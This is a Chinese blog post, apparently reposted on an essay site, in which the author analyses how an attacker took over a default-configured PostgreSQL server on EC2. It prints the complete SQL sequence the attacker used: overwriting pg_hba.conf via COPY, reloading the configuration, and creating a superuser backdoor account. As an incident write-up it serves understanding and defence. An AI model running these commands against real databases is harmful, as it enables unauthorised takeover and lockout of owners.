1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 分析黑客入侵 PostgreSQL 数据库

分析黑客入侵 PostgreSQL 数据库

时间:2023-06-26 07:51:10

相关推荐

分析黑客入侵 PostgreSQL 数据库

问题分析

前几天,由于开发需要,我在 AWS EC2 部署了一个 PostgreSQL 数据库服务,本来想着过几天用完就终止服务,因此放松了警惕,数据库服务的所有配置保持默认配置,包括账号密码以及端口。然而,今天连接数据库时,出现了如下异常:

FATAL: pg_hba.conf rejects connection for host "xx.xx.xx.xx", user "postgres", database "xxx", SSL off

异常信息大概意思是,数据库服务拒绝连接请求。

于是,我尝试登陆EC2服务后,通过本地连接到数据库,依然提示类似的错误信息。此时,我已经可以十分肯定,数据库被黑了……

异常信息中提示到 pg_hba.conf 文件,因此,沿着这个线索去找到问题所在。 pg_hba.conf 文件一般位于数据库的储存目录下,具体的位置取决于安装方式,经过一轮搜索,在此目录找到 pg_hba.conf 文件。

/var/lib/postgresql/data/pg_hba.conf

仔细检查 pg_hba.conf 配置文件后,发现文件的开头多了几行配置,如下:

local all all rejecthost all postgres 0.0.0.0/0 rejecthost all pgdbadm 0.0.0.0/0 md5

这三行配置的作用是无条件拒绝所有通过 Unix 域套接字进行的连接,以及拒绝所有 postgres 用户通过 TCP/IP 发起的连接,只允许 pgdbadm 用户通过 TCP/IP 发起的连接,并要求提供MD5的口令进行认证(密码)。由于 pg_hba.conf 配置文件的匹配逻辑是,只要有一条记录满足匹配条件,那么将不再考虑后面的记录。因此,黑客在不改变后面的记录的情况下,其新增记录依然生效。pg_hba.conf 配置文件的详细介绍可参考[官方文档][1]。

问题重现

黑客到底如何实现,不登陆服务器的情况下,间接修改数据库的 pg_hba.conf 配置文件呢?答案是只需要如下几条命令:

-- 登陆数据库服务后,创建临时数据库表create table tmp(a text);-- 找到 pg_hba.conf 的路径show hba_file;-- 将 pg_hba.conf 内容复制到 tmp 表中copy tmp from '/var/lib/postgres/data/pg_hba.conf';-- 新增记录与原文件内容合并后,覆盖原文件copy (select 'local all all reject' union all select 'host all postgres 0.0.0.0/0 reject' union all select 'host all pgdbadm 0.0.0.0/0 md5' union all select * from tmp) TO '/var/lib/postgresql/data/pg_hba.conf';-- 删除 tmp 表drop table tmp;-- 重新加载 pg_hba.conf 文件select pg_reload_conf();-- 创建新用户并更改用户权限create user pgdbadm with encrypted password 'newpass';ALTER USER pgdbadm WITH SUPERUSER;

到此入侵完毕。

如果喜欢我的文章的话,欢迎关注我的个人网站,谢谢。

(完)

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。